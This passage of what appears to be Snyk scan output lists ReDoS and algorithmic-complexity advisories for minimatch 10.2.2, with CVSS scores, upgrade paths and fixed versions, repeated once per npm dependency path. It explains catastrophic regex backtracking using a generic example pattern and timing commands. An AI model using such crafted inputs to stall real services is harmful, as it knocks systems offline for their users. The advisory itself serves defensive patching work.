"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": 